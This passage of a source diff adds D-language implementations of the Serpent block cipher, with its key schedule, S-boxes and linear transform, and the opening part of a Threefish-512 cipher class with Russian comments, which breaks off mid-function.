+ * For full details see the The Serpent home page + */ +@safe +public struct Serpent +{ + + public enum name = "Serpent"; + public enum blockSize = 16; + + private { + enum ROUNDS = 32; + enum uint PHI = 0x9E3779B9; // (sqrt(5) - 1) * 2**31 + + uint X0, X1, X2, X3; // registers + uint[(ROUNDS + 1) * 4] wKey; + + //bool encrypting; + bool initialized = false; + } + + /// Params: + /// forEncryption = `false`: decrypt, `true`: encrypt + /// userKey = Secret key. + /// iv = Not used. + + void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc + { + makeWorkingKey(userKey); + initialized = true; + } + + + public uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc + in { + assert(initialized, "Serpent engine not initialized"); + assert(blockSize<=input.length, "input buffer too short"); + assert(blockSize<=output.length, "output buffer too short"); + } + body { + encryptb(input, output); + + return blockSize; + } + + public uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc + in { + assert(initialized, "Serpent engine not initialized"); + assert(blockSize<=input.length, "input buffer too short"); + assert(blockSize<=output.length, "output buffer too short"); + } + body { + decryptb(input, output); + + return blockSize; + } + + public void reset() pure nothrow @nogc + { + } + +private: + /** + * Expand a user-supplied key material into a session key. + * + * Params: + * key The user-key bytes (multiples of 4) to use. + */ + private void makeWorkingKey(in ubyte[] key) nothrow @nogc + in { + assert(key.length % 4 == 0, "key must be a multiple of 4 bytes"); + } + body { + // + // pad key to 256 bits + // + uint[16] kPad; + size_t off = 0; + uint length = 0; + + for (off = key.length - 4; off > 0; off -= 4) + { + kPad[length++] = fromBigEndian!uint(key[off..off+4]); + } + + if (off == 0) + { + kPad[length++] = fromBigEndian!uint(key[0..4]); + if (length < 8) + { + kPad[length] = 1; + } + } + else + { + assert(false, "key must be a multiple of 4 bytes"); + } + + // + // expand the padded key up to 33 x 128 bits of key material + // + enum amount = (ROUNDS + 1) * 4; + alias wKey w; + + // + // compute w0 to w7 from w-8 to w-1 + // + foreach (i;8..16) + { + kPad[i] = rotateLeft(kPad[i - 8] ^ kPad[i - 5] ^ kPad[i - 3] ^ kPad[i - 1] ^ PHI ^ (i - 8), 11); + } + + w[0..8] = kPad[8..16]; + + // + // compute w8 to w136 + // + foreach(i;8..amount) + { + w[i] = rotateLeft(w[i - 8] ^ w[i - 5] ^ w[i - 3] ^ w[i - 1] ^ PHI ^ i, 11); + } + + // + // create the working keys by processing w with the Sbox and IP + // + sb3(w[0], w[1], w[2], w[3]); + w[0] = X0; + w[1] = X1; + w[2] = X2; + w[3] = X3; + sb2(w[4], w[5], w[6], w[7]); + w[4] = X0; + w[5] = X1; + w[6] = X2; + w[7] = X3; + sb1(w[8], w[9], w[10], w[11]); + w[8] = X0; + w[9] = X1; + w[10] = X2; + w[11] = X3; + sb0(w[12], w[13], w[14], w[15]); + w[12] = X0; + w[13] = X1; + w[14] = X2; + w[15] = X3; + sb7(w[16], w[17], w[18], w[19]); + w[16] = X0; + w[17] = X1; + w[18] = X2; + w[19] = X3; + sb6(w[20], w[21], w[22], w[23]); + w[20] = X0; + w[21] = X1; + w[22] = X2; + w[23] = X3; + sb5(w[24], w[25], w[26], w[27]); + w[24] = X0; + w[25] = X1; + w[26] = X2; + w[27] = X3; + sb4(w[28], w[29], w[30], w[31]); + w[28] = X0; + w[29] = X1; + w[30] = X2; + w[31] = X3; + sb3(w[32], w[33], w[34], w[35]); + w[32] = X0; + w[33] = X1; + w[34] = X2; + w[35] = X3; + sb2(w[36], w[37], w[38], w[39]); + w[36] = X0; + w[37] = X1; + w[38] = X2; + w[39] = X3; + sb1(w[40], w[41], w[42], w[43]); + w[40] = X0; + w[41] = X1; + w[42] = X2; + w[43] = X3; + sb0(w[44], w[45], w[46], w[47]); + w[44] = X0; + w[45] = X1; + w[46] = X2; + w[47] = X3; + sb7(w[48], w[49], w[50], w[51]); + w[48] = X0; + w[49] = X1; + w[50] = X2; + w[51] = X3; + sb6(w[52], w[53], w[54], w[55]); + w[52] = X0; + w[53] = X1; + w[54] = X2; + w[55] = X3; + sb5(w[56], w[57], w[58], w[59]); + w[56] = X0; + w[57] = X1; + w[58] = X2; + w[59] = X3; + sb4(w[60], w[61], w[62], w[63]); + w[60] = X0; + w[61] = X1; + w[62] = X2; + w[63] = X3; + sb3(w[64], w[65], w[66], w[67]); + w[64] = X0; + w[65] = X1; + w[66] = X2; + w[67] = X3; + sb2(w[68], w[69], w[70], w[71]); + w[68] = X0; + w[69] = X1; + w[70] = X2; + w[71] = X3; + sb1(w[72], w[73], w[74], w[75]); + w[72] = X0; + w[73] = X1; + w[74] = X2; + w[75] = X3; + sb0(w[76], w[77], w[78], w[79]); + w[76] = X0; + w[77] = X1; + w[78] = X2; + w[79] = X3; + sb7(w[80], w[81], w[82], w[83]); + w[80] = X0; + w[81] = X1; + w[82] = X2; + w[83] = X3; + sb6(w[84], w[85], w[86], w[87]); + w[84] = X0; + w[85] = X1; + w[86] = X2; + w[87] = X3; + sb5(w[88], w[89], w[90], w[91]); + w[88] = X0; + w[89] = X1; + w[90] = X2; + w[91] = X3; + sb4(w[92], w[93], w[94], w[95]); + w[92] = X0; + w[93] = X1; + w[94] = X2; + w[95] = X3; + sb3(w[96], w[97], w[98], w[99]); + w[96] = X0; + w[97] = X1; + w[98] = X2; + w[99] = X3; + sb2(w[100], w[101], w[102], w[103]); + w[100] = X0; + w[101] = X1; + w[102] = X2; + w[103] = X3; + sb1(w[104], w[105], w[106], w[107]); + w[104] = X0; + w[105] = X1; + w[106] = X2; + w[107] = X3; + sb0(w[108], w[109], w[110], w[111]); + w[108] = X0; + w[109] = X1; + w[110] = X2; + w[111] = X3; + sb7(w[112], w[113], w[114], w[115]); + w[112] = X0; + w[113] = X1; + w[114] = X2; + w[115] = X3; + sb6(w[116], w[117], w[118], w[119]); + w[116] = X0; + w[117] = X1; + w[118] = X2; + w[119] = X3; + sb5(w[120], w[121], w[122], w[123]); + w[120] = X0; + w[121] = X1; + w[122] = X2; + w[123] = X3; + sb4(w[124], w[125], w[126], w[127]); + w[124] = X0; + w[125] = X1; + w[126] = X2; + w[127] = X3; + sb3(w[128], w[129], w[130], w[131]); + w[128] = X0; + w[129] = X1; + w[130] = X2; + w[131] = X3; + } + + /** + * Encrypt one block of plaintext. + * + */ + private void encryptBlock(in ubyte[] input, ubyte[] output) nothrow @nogc + { + X3 = fromBigEndian!uint(input[0..4]); + X2 = fromBigEndian!uint(input[4..8]); + X1 = fromBigEndian!uint(input[8..12]); + X0 = fromBigEndian!uint(input[12..16]); + + sb0(wKey[0] ^ X0, wKey[1] ^ X1, wKey[2] ^ X2, wKey[3] ^ X3); + LT(); + sb1(wKey[4] ^ X0, wKey[5] ^ X1, wKey[6] ^ X2, wKey[7] ^ X3); + LT(); + sb2(wKey[8] ^ X0, wKey[9] ^ X1, wKey[10] ^ X2, wKey[11] ^ X3); + LT(); + sb3(wKey[12] ^ X0, wKey[13] ^ X1, wKey[14] ^ X2, wKey[15] ^ X3); + LT(); + sb4(wKey[16] ^ X0, wKey[17] ^ X1, wKey[18] ^ X2, wKey[19] ^ X3); + LT(); + sb5(wKey[20] ^ X0, wKey[21] ^ X1, wKey[22] ^ X2, wKey[23] ^ X3); + LT(); + sb6(wKey[24] ^ X0, wKey[25] ^ X1, wKey[26] ^ X2, wKey[27] ^ X3); + LT(); + sb7(wKey[28] ^ X0, wKey[29] ^ X1, wKey[30] ^ X2, wKey[31] ^ X3); + LT(); + sb0(wKey[32] ^ X0, wKey[33] ^ X1, wKey[34] ^ X2, wKey[35] ^ X3); + LT(); + sb1(wKey[36] ^ X0, wKey[37] ^ X1, wKey[38] ^ X2, wKey[39] ^ X3); + LT(); + sb2(wKey[40] ^ X0, wKey[41] ^ X1, wKey[42] ^ X2, wKey[43] ^ X3); + LT(); + sb3(wKey[44] ^ X0, wKey[45] ^ X1, wKey[46] ^ X2, wKey[47] ^ X3); + LT(); + sb4(wKey[48] ^ X0, wKey[49] ^ X1, wKey[50] ^ X2, wKey[51] ^ X3); + LT(); + sb5(wKey[52] ^ X0, wKey[53] ^ X1, wKey[54] ^ X2, wKey[55] ^ X3); + LT(); + sb6(wKey[56] ^ X0, wKey[57] ^ X1, wKey[58] ^ X2, wKey[59] ^ X3); + LT(); + sb7(wKey[60] ^ X0, wKey[61] ^ X1, wKey[62] ^ X2, wKey[63] ^ X3); + LT(); + sb0(wKey[64] ^ X0, wKey[65] ^ X1, wKey[66] ^ X2, wKey[67] ^ X3); + LT(); + sb1(wKey[68] ^ X0, wKey[69] ^ X1, wKey[70] ^ X2, wKey[71] ^ X3); + LT(); + sb2(wKey[72] ^ X0, wKey[73] ^ X1, wKey[74] ^ X2, wKey[75] ^ X3); + LT(); + sb3(wKey[76] ^ X0, wKey[77] ^ X1, wKey[78] ^ X2, wKey[79] ^ X3); + LT(); + sb4(wKey[80] ^ X0, wKey[81] ^ X1, wKey[82] ^ X2, wKey[83] ^ X3); + LT(); + sb5(wKey[84] ^ X0, wKey[85] ^ X1, wKey[86] ^ X2, wKey[87] ^ X3); + LT(); + sb6(wKey[88] ^ X0, wKey[89] ^ X1, wKey[90] ^ X2, wKey[91] ^ X3); + LT(); + sb7(wKey[92] ^ X0, wKey[93] ^ X1, wKey[94] ^ X2, wKey[95] ^ X3); + LT(); + sb0(wKey[96] ^ X0, wKey[97] ^ X1, wKey[98] ^ X2, wKey[99] ^ X3); + LT(); + sb1(wKey[100] ^ X0, wKey[101] ^ X1, wKey[102] ^ X2, wKey[103] ^ X3); + LT(); + sb2(wKey[104] ^ X0, wKey[105] ^ X1, wKey[106] ^ X2, wKey[107] ^ X3); + LT(); + sb3(wKey[108] ^ X0, wKey[109] ^ X1, wKey[110] ^ X2, wKey[111] ^ X3); + LT(); + sb4(wKey[112] ^ X0, wKey[113] ^ X1, wKey[114] ^ X2, wKey[115] ^ X3); + LT(); + sb5(wKey[116] ^ X0, wKey[117] ^ X1, wKey[118] ^ X2, wKey[119] ^ X3); + LT(); + sb6(wKey[120] ^ X0, wKey[121] ^ X1, wKey[122] ^ X2, wKey[123] ^ X3); + LT(); + sb7(wKey[124] ^ X0, wKey[125] ^ X1, wKey[126] ^ X2, wKey[127] ^ X3); + + toBigEndian!uint(wKey[131] ^ X3, output[0..4]); + toBigEndian!uint(wKey[130] ^ X2, output[4..8]); + toBigEndian!uint(wKey[129] ^ X1, output[8..12]); + toBigEndian!uint(wKey[128] ^ X0, output[12..16]); + } + + /** + * Decrypt one block of ciphertext. + * + */ + private void decryptBlock(in ubyte[] input, ubyte[] output) nothrow @nogc + { + X3 = wKey[131] ^ fromBigEndian!uint(input[0..4]); + X2 = wKey[130] ^ fromBigEndian!uint(input[4..8]); + X1 = wKey[129] ^ fromBigEndian!uint(input[8..12]); + X0 = wKey[128] ^ fromBigEndian!uint(input[12..16]); + + ib7(X0, X1, X2, X3); + X0 ^= wKey[124]; + X1 ^= wKey[125]; + X2 ^= wKey[126]; + X3 ^= wKey[127]; + inverseLT(); + ib6(X0, X1, X2, X3); + X0 ^= wKey[120]; + X1 ^= wKey[121]; + X2 ^= wKey[122]; + X3 ^= wKey[123]; + inverseLT(); + ib5(X0, X1, X2, X3); + X0 ^= wKey[116]; + X1 ^= wKey[117]; + X2 ^= wKey[118]; + X3 ^= wKey[119]; + inverseLT(); + ib4(X0, X1, X2, X3); + X0 ^= wKey[112]; + X1 ^= wKey[113]; + X2 ^= wKey[114]; + X3 ^= wKey[115]; + inverseLT(); + ib3(X0, X1, X2, X3); + X0 ^= wKey[108]; + X1 ^= wKey[109]; + X2 ^= wKey[110]; + X3 ^= wKey[111]; + inverseLT(); + ib2(X0, X1, X2, X3); + X0 ^= wKey[104]; + X1 ^= wKey[105]; + X2 ^= wKey[106]; + X3 ^= wKey[107]; + inverseLT(); + ib1(X0, X1, X2, X3); + X0 ^= wKey[100]; + X1 ^= wKey[101]; + X2 ^= wKey[102]; + X3 ^= wKey[103]; + inverseLT(); + ib0(X0, X1, X2, X3); + X0 ^= wKey[96]; + X1 ^= wKey[97]; + X2 ^= wKey[98]; + X3 ^= wKey[99]; + inverseLT(); + ib7(X0, X1, X2, X3); + X0 ^= wKey[92]; + X1 ^= wKey[93]; + X2 ^= wKey[94]; + X3 ^= wKey[95]; + inverseLT(); + ib6(X0, X1, X2, X3); + X0 ^= wKey[88]; + X1 ^= wKey[89]; + X2 ^= wKey[90]; + X3 ^= wKey[91]; + inverseLT(); + ib5(X0, X1, X2, X3); + X0 ^= wKey[84]; + X1 ^= wKey[85]; + X2 ^= wKey[86]; + X3 ^= wKey[87]; + inverseLT(); + ib4(X0, X1, X2, X3); + X0 ^= wKey[80]; + X1 ^= wKey[81]; + X2 ^= wKey[82]; + X3 ^= wKey[83]; + inverseLT(); + ib3(X0, X1, X2, X3); + X0 ^= wKey[76]; + X1 ^= wKey[77]; + X2 ^= wKey[78]; + X3 ^= wKey[79]; + inverseLT(); + ib2(X0, X1, X2, X3); + X0 ^= wKey[72]; + X1 ^= wKey[73]; + X2 ^= wKey[74]; + X3 ^= wKey[75]; + inverseLT(); + ib1(X0, X1, X2, X3); + X0 ^= wKey[68]; + X1 ^= wKey[69]; + X2 ^= wKey[70]; + X3 ^= wKey[71]; + inverseLT(); + ib0(X0, X1, X2, X3); + X0 ^= wKey[64]; + X1 ^= wKey[65]; + X2 ^= wKey[66]; + X3 ^= wKey[67]; + inverseLT(); + ib7(X0, X1, X2, X3); + X0 ^= wKey[60]; + X1 ^= wKey[61]; + X2 ^= wKey[62]; + X3 ^= wKey[63]; + inverseLT(); + ib6(X0, X1, X2, X3); + X0 ^= wKey[56]; + X1 ^= wKey[57]; + X2 ^= wKey[58]; + X3 ^= wKey[59]; + inverseLT(); + ib5(X0, X1, X2, X3); + X0 ^= wKey[52]; + X1 ^= wKey[53]; + X2 ^= wKey[54]; + X3 ^= wKey[55]; + inverseLT(); + ib4(X0, X1, X2, X3); + X0 ^= wKey[48]; + X1 ^= wKey[49]; + X2 ^= wKey[50]; + X3 ^= wKey[51]; + inverseLT(); + ib3(X0, X1, X2, X3); + X0 ^= wKey[44]; + X1 ^= wKey[45]; + X2 ^= wKey[46]; + X3 ^= wKey[47]; + inverseLT(); + ib2(X0, X1, X2, X3); + X0 ^= wKey[40]; + X1 ^= wKey[41]; + X2 ^= wKey[42]; + X3 ^= wKey[43]; + inverseLT(); + ib1(X0, X1, X2, X3); + X0 ^= wKey[36]; + X1 ^= wKey[37]; + X2 ^= wKey[38]; + X3 ^= wKey[39]; + inverseLT(); + ib0(X0, X1, X2, X3); + X0 ^= wKey[32]; + X1 ^= wKey[33]; + X2 ^= wKey[34]; + X3 ^= wKey[35]; + inverseLT(); + ib7(X0, X1, X2, X3); + X0 ^= wKey[28]; + X1 ^= wKey[29]; + X2 ^= wKey[30]; + X3 ^= wKey[31]; + inverseLT(); + ib6(X0, X1, X2, X3); + X0 ^= wKey[24]; + X1 ^= wKey[25]; + X2 ^= wKey[26]; + X3 ^= wKey[27]; + inverseLT(); + ib5(X0, X1, X2, X3); + X0 ^= wKey[20]; + X1 ^= wKey[21]; + X2 ^= wKey[22]; + X3 ^= wKey[23]; + inverseLT(); + ib4(X0, X1, X2, X3); + X0 ^= wKey[16]; + X1 ^= wKey[17]; + X2 ^= wKey[18]; + X3 ^= wKey[19]; + inverseLT(); + ib3(X0, X1, X2, X3); + X0 ^= wKey[12]; + X1 ^= wKey[13]; + X2 ^= wKey[14]; + X3 ^= wKey[15]; + inverseLT(); + ib2(X0, X1, X2, X3); + X0 ^= wKey[8]; + X1 ^= wKey[9]; + X2 ^= wKey[10]; + X3 ^= wKey[11]; + inverseLT(); + ib1(X0, X1, X2, X3); + X0 ^= wKey[4]; + X1 ^= wKey[5]; + X2 ^= wKey[6]; + X3 ^= wKey[7]; + inverseLT(); + ib0(X0, X1, X2, X3); + + toBigEndian!uint(X3 ^ wKey[3], output[0..4]); + toBigEndian!uint(X2 ^ wKey[2], output[4..8]); + toBigEndian!uint(X1 ^ wKey[1], output[8..12]); + toBigEndian!uint(X0 ^ wKey[0], output[12..16]); + } + + private void encryptb(in ubyte[] input, ubyte[] output) nothrow @nogc { + ubyte padding = cast(ubyte)(blockSize - (input.length % blockSize)); + if (input.length % blockSize != 0) { + assert(output.length >= input.length + padding, "Output size must be pre-allocated to include padding"); + } else { + assert(output.length == input.length, "Output size must match input size for full blocks"); + } + + output[0 .. input.length] = input[]; + + if (input.length % blockSize != 0) { + for (size_t i = input.length; i < output.length; i++) { + output[i] = padding; + } + } + + ubyte[blockSize] blockOutput; + for (size_t i = 0; i < output.length; i += blockSize) { + auto blockInput = output[i .. i + blockSize]; + encryptBlock(blockInput, blockOutput); + output[i .. i + blockSize] = blockOutput[]; + } + } + + private void decryptb(in ubyte[] input, ubyte[] output) nothrow @nogc { + assert(input.length % blockSize == 0, "Invalid encrypted data length"); + + assert(output.length == input.length, "Output size must be pre-allocated"); + + ubyte[blockSize] blockOutput; + for (size_t i = 0; i < input.length; i += blockSize) { + auto blockInput = input[i .. i + blockSize]; + decryptBlock(blockInput, blockOutput); + output[i .. i + blockSize] = blockOutput[]; + } + + if (output.length > 0) { + ubyte padding = output[$ - 1]; + if (padding > 0 && padding <= blockSize) { + for (size_t i = output.length - padding; i < output.length; i++) { + assert(output[i] == padding, "Invalid padding bytes"); + } + + auto finalLength = output.length - padding; + output = output[0 .. finalLength]; + } + } + } + + /** + * The sboxes below are based on the work of Brian Gladman and + * Sam Simpson, whose original notice appears below. + *

+ * For further details see: + * http://fp.gladman.plus.com/cryptography_technology/serpent/ + */ + + /* Partially optimised Serpent S Box boolean functions derived */ + /* using a recursive descent analyser but without a full search */ + /* of all subtrees. This set of S boxes is the result of work */ + /* by Sam Simpson and Brian Gladman using the spare time on a */ + /* cluster of high capacity servers to search for S boxes with */ + /* this customised search engine. There are now an average of */ + /* 15.375 terms per S box. */ + /* */ + /* Copyright: Dr B. R Gladman (gladman@seven77.demon.co.uk) */ + /* and Sam Simpson (s.simpson@mia.co.uk) */ + /* 17th December 1998 */ + /* */ + /* We hereby give permission for information in this file to be */ + /* used freely subject only to acknowledgement of its origin. */ + + /** + * S0 - { 3, 8,15, 1,10, 6, 5,11,14,13, 4, 2, 7, 0, 9,12 } - 15 terms. + */ + nothrow @nogc { + void sb0(uint a, uint b, uint c, uint d) + { + uint t1 = a ^ d; + uint t3 = c ^ t1; + uint t4 = b ^ t3; + X3 = (a & d) ^ t4; + uint t7 = a ^ (b & t1); + X2 = t4 ^ (c | t7); + uint t12 = X3 & (t3 ^ t7); + X1 = (~t3) ^ t12; + X0 = t12 ^ (~t7); + } + + /** + * InvSO - {13, 3,11, 0,10, 6, 5,12, 1,14, 4, 7,15, 9, 8, 2 } - 15 terms. + */ + void ib0(uint a, uint b, uint c, uint d) + { + uint t1 = ~a; + uint t2 = a ^ b; + uint t4 = d ^ (t1 | t2); + uint t5 = c ^ t4; + X2 = t2 ^ t5; + uint t8 = t1 ^ (d & t2); + X1 = t4 ^ (X2 & t8); + X3 = (a & t4) ^ (t5 | X1); + X0 = X3 ^ (t5 ^ t8); + } + + /** + * S1 - {15,12, 2, 7, 9, 0, 5,10, 1,11,14, 8, 6,13, 3, 4 } - 14 terms. + */ + void sb1(uint a, uint b, uint c, uint d) + { + uint t2 = b ^ (~a); + uint t5 = c ^ (a | t2); + X2 = d ^ t5; + uint t7 = b ^ (d | t2); + uint t8 = t2 ^ X2; + X3 = t8 ^ (t5 & t7); + uint t11 = t5 ^ t7; + X1 = X3 ^ t11; + X0 = t5 ^ (t8 & t11); + } + + /** + * InvS1 - { 5, 8, 2,14,15, 6,12, 3,11, 4, 7, 9, 1,13,10, 0 } - 14 steps. + */ + void ib1(uint a, uint b, uint c, uint d) + { + uint t1 = b ^ d; + uint t3 = a ^ (b & t1); + uint t4 = t1 ^ t3; + X3 = c ^ t4; + uint t7 = b ^ (t1 & t3); + uint t8 = X3 | t7; + X1 = t3 ^ t8; + uint t10 = ~X1; + uint t11 = X3 ^ t7; + X0 = t10 ^ t11; + X2 = t4 ^ (t10 | t11); + } + + /** + * S2 - { 8, 6, 7, 9, 3,12,10,15,13, 1,14, 4, 0,11, 5, 2 } - 16 terms. + */ + void sb2(uint a, uint b, uint c, uint d) + { + uint t1 = ~a; + uint t2 = b ^ d; + uint t3 = c & t1; + X0 = t2 ^ t3; + uint t5 = c ^ t1; + uint t6 = c ^ X0; + uint t7 = b & t6; + X3 = t5 ^ t7; + X2 = a ^ ((d | t7) & (X0 | t5)); + X1 = (t2 ^ X3) ^ (X2 ^ (d | t1)); + } + + /** + * InvS2 - {12, 9,15, 4,11,14, 1, 2, 0, 3, 6,13, 5, 8,10, 7 } - 16 steps. + */ + void ib2(uint a, uint b, uint c, uint d) + { + uint t1 = b ^ d; + uint t2 = ~t1; + uint t3 = a ^ c; + uint t4 = c ^ t1; + uint t5 = b & t4; + X0 = t3 ^ t5; + uint t7 = a | t2; + uint t8 = d ^ t7; + uint t9 = t3 | t8; + X3 = t1 ^ t9; + uint t11 = ~t4; + uint t12 = X0 | X3; + X1 = t11 ^ t12; + X2 = (d & t11) ^ (t3 ^ t12); + } + + /** + * S3 - { 0,15,11, 8,12, 9, 6, 3,13, 1, 2, 4,10, 7, 5,14 } - 16 terms. + */ + void sb3(uint a, uint b, uint c, uint d) + { + uint t1 = a ^ b; + uint t2 = a & c; + uint t3 = a | d; + uint t4 = c ^ d; + uint t5 = t1 & t3; + uint t6 = t2 | t5; + X2 = t4 ^ t6; + uint t8 = b ^ t3; + uint t9 = t6 ^ t8; + uint t10 = t4 & t9; + X0 = t1 ^ t10; + uint t12 = X2 & X0; + X1 = t9 ^ t12; + X3 = (b | d) ^ (t4 ^ t12); + } + + /** + * InvS3 - { 0, 9,10, 7,11,14, 6,13, 3, 5,12, 2, 4, 8,15, 1 } - 15 terms + */ + void ib3(uint a, uint b, uint c, uint d) + { + uint t1 = a | b; + uint t2 = b ^ c; + uint t3 = b & t2; + uint t4 = a ^ t3; + uint t5 = c ^ t4; + uint t6 = d | t4; + X0 = t2 ^ t6; + uint t8 = t2 | t6; + uint t9 = d ^ t8; + X2 = t5 ^ t9; + uint t11 = t1 ^ t9; + uint t12 = X0 & t11; + X3 = t4 ^ t12; + X1 = X3 ^ (X0 ^ t11); + } + + /** + * S4 - { 1,15, 8, 3,12, 0,11, 6, 2, 5, 4,10, 9,14, 7,13 } - 15 terms. + */ + void sb4(uint a, uint b, uint c, uint d) + { + uint t1 = a ^ d; + uint t2 = d & t1; + uint t3 = c ^ t2; + uint t4 = b | t3; + X3 = t1 ^ t4; + uint t6 = ~b; + uint t7 = t1 | t6; + X0 = t3 ^ t7; + uint t9 = a & X0; + uint t10 = t1 ^ t6; + uint t11 = t4 & t10; + X2 = t9 ^ t11; + X1 = (a ^ t3) ^ (t10 & X2); + } + + /** + * InvS4 - { 5, 0, 8, 3,10, 9, 7,14, 2,12,11, 6, 4,15,13, 1 } - 15 terms. + */ + void ib4(uint a, uint b, uint c, uint d) + { + uint t1 = c | d; + uint t2 = a & t1; + uint t3 = b ^ t2; + uint t4 = a & t3; + uint t5 = c ^ t4; + X1 = d ^ t5; + uint t7 = ~a; + uint t8 = t5 & X1; + X3 = t3 ^ t8; + uint t10 = X1 | t7; + uint t11 = d ^ t10; + X0 = X3 ^ t11; + X2 = (t3 & t11) ^ (X1 ^ t7); + } + + /** + * S5 - {15, 5, 2,11, 4,10, 9,12, 0, 3,14, 8,13, 6, 7, 1 } - 16 terms. + */ + void sb5(uint a, uint b, uint c, uint d) + { + uint t1 = ~a; + uint t2 = a ^ b; + uint t3 = a ^ d; + uint t4 = c ^ t1; + uint t5 = t2 | t3; + X0 = t4 ^ t5; + uint t7 = d & X0; + uint t8 = t2 ^ X0; + X1 = t7 ^ t8; + uint t10 = t1 | X0; + uint t11 = t2 | t7; + uint t12 = t3 ^ t10; + X2 = t11 ^ t12; + X3 = (b ^ t7) ^ (X1 & t12); + } + + /** + * InvS5 - { 8,15, 2, 9, 4, 1,13,14,11, 6, 5, 3, 7,12,10, 0 } - 16 terms. + */ + void ib5(uint a, uint b, uint c, uint d) + { + uint t1 = ~c; + uint t2 = b & t1; + uint t3 = d ^ t2; + uint t4 = a & t3; + uint t5 = b ^ t1; + X3 = t4 ^ t5; + uint t7 = b | X3; + uint t8 = a & t7; + X1 = t3 ^ t8; + uint t10 = a | d; + uint t11 = t1 ^ t7; + X0 = t10 ^ t11; + X2 = (b & t10) ^ (t4 | (a ^ c)); + } + + /** + * S6 - { 7, 2,12, 5, 8, 4, 6,11,14, 9, 1,15,13, 3,10, 0 } - 15 terms. + */ + void sb6(uint a, uint b, uint c, uint d) + { + uint t1 = ~a; + uint t2 = a ^ d; + uint t3 = b ^ t2; + uint t4 = t1 | t2; + uint t5 = c ^ t4; + X1 = b ^ t5; + uint t7 = t2 | X1; + uint t8 = d ^ t7; + uint t9 = t5 & t8; + X2 = t3 ^ t9; + uint t11 = t5 ^ t8; + X0 = X2 ^ t11; + X3 = (~t5) ^ (t3 & t11); + } + + /** + * InvS6 - {15,10, 1,13, 5, 3, 6, 0, 4, 9,14, 7, 2,12, 8,11 } - 15 terms. + */ + void ib6(uint a, uint b, uint c, uint d) + { + uint t1 = ~a; + uint t2 = a ^ b; + uint t3 = c ^ t2; + uint t4 = c | t1; + uint t5 = d ^ t4; + X1 = t3 ^ t5; + uint t7 = t3 & t5; + uint t8 = t2 ^ t7; + uint t9 = b | t8; + X3 = t5 ^ t9; + uint t11 = b | X3; + X0 = t8 ^ t11; + X2 = (d & t1) ^ (t3 ^ t11); + } + + /** + * S7 - { 1,13,15, 0,14, 8, 2,11, 7, 4,12,10, 9, 3, 5, 6 } - 16 terms. + */ + void sb7(uint a, uint b, uint c, uint d) + { + uint t1 = b ^ c; + uint t2 = c & t1; + uint t3 = d ^ t2; + uint t4 = a ^ t3; + uint t5 = d | t1; + uint t6 = t4 & t5; + X1 = b ^ t6; + uint t8 = t3 | X1; + uint t9 = a & t4; + X3 = t1 ^ t9; + uint t11 = t4 ^ t8; + uint t12 = X3 & t11; + X2 = t3 ^ t12; + X0 = (~t11) ^ (X3 & X2); + } + + /** + * InvS7 - { 3, 0, 6,13, 9,14,15, 8, 5,12,11, 7,10, 1, 4, 2 } - 17 terms. + */ + void ib7(uint a, uint b, uint c, uint d) + { + uint t3 = c | (a & b); + uint t4 = d & (a | b); + X3 = t3 ^ t4; + uint t6 = ~d; + uint t7 = b ^ t4; + uint t9 = t7 | (X3 ^ t6); + X1 = a ^ t9; + X0 = (c ^ t7) ^ (d | X1); + X2 = (t3 ^ X1) ^ (X0 ^ (a & X3)); + } + + /** + * Apply the linear transformation to the register set. + */ + void LT() + { + uint x0 = rotateLeft(X0, 13); + uint x2 = rotateLeft(X2, 3); + uint x1 = X1 ^ x0 ^ x2 ; + uint x3 = X3 ^ x2 ^ x0 << 3; + + X1 = rotateLeft(x1, 1); + X3 = rotateLeft(x3, 7); + X0 = rotateLeft(x0 ^ X1 ^ X3, 5); + X2 = rotateLeft(x2 ^ X3 ^ (X1 << 7), 22); + } + + /** + * Apply the inverse of the linear transformation to the register set. + */ + void inverseLT() + { + uint x2 = rotateRight(X2, 22) ^ X3 ^ (X1 << 7); + uint x0 = rotateRight(X0, 5) ^ X1 ^ X3; + uint x3 = rotateRight(X3, 7); + uint x1 = rotateRight(X1, 1); + X3 = x3 ^ x2 ^ x0 << 3; + X1 = x1 ^ x0 ^ x2; + X2 = rotateRight(x2, 3); + X0 = rotateRight(x0, 13); + } + } +} \ No newline at end of file diff --git a/v1/threefish.d b/v1/threefish.d new file mode 100644 index 0000000..371da21 --- /dev/null +++ b/v1/threefish.d @@ -0,0 +1,261 @@ +module angel.utils.cryptography.threefish; + +import std.random : Random, unpredictableSeed, uniform; + +// memcpy +extern(C) nothrow @nogc void* memcpy(void* dst, const void* src, size_t n); + +class Threefish512 +{ + private { + // Размер блока шифра + enum blockSize = 64; + // Количество 64-битных слов в ключе (и в блоке) + enum Nw = 8; + // Количество раундов + enum Nr = 72; + // Количество раундов (за вычетом последнего) + enum Ns = Nr / 4; + // Функция перестановки + uint[8] p = [2, 1, 4, 7, 6, 5, 0, 3]; + uint[8] p_1 = [6, 1, 0, 7, 2, 5, 4, 3]; + + // Функция смешивания и перестановки + uint[4][8] r = [ + [46, 36, 19, 37], + [33, 27, 14, 42], + [17, 49, 36, 39], + [44, 9 , 54, 56], + [39, 30, 34, 24], + [13, 50, 10, 17], + [25, 29, 39, 43], + [8 , 35, 56, 22] + ]; + + // Твик-значение (свободный параметр алгоритма) + ulong[3] t; + // Раундовые ключи + ulong[8][Ns + 1] subKeys; + + auto _mix(ref ulong[2] x, ulong r, ref ulong[2] y) + { + y[0] = x[0] + x[1]; + y[1] = (x[1] << r) | (x[1] >> (64 - r)); + y[1] ^= y[0]; + } + + auto _demix(ref ulong[2] y, ulong r, ref ulong[2] x) + { + y[1] ^= y[0]; + x[1] = (y[1] << (64 - r)) | (y[1] >> r); + x[0] = y[0] - x[1]; + } + + alias _mod8 = (ulong a) => a & 7UL; + } + + /// Шифрование блока + /// plain - указатель на блок для шифрования, c - массив-приемник результата + void crypt(ulong* plainData, ulong* c) @system + { + ulong[8] f; + ulong[8] e; + ulong[2] y; + ulong[2] x; + ulong[8] v; + uint i; + + memcpy (&v[0], plainData, 64); + + for (uint round = 0; round < Nr; round++) + { + if (round % 4 == 0) + { + uint s = round >> 2; + + for (i = 0; i < Nw; i++) + { + e[i] = v[i] + subKeys[s][i]; + } + } + else + { + for (i = 0; i < Nw; i++) + { + e[i] = v[i]; + } + } + + for (i = 0; i < Nw / 2; i++) + { + x[0] = e[i * 2]; + x[1] = e[i * 2 + 1]; + + _mix(x, r[cast(uint) _mod8(round)][i], 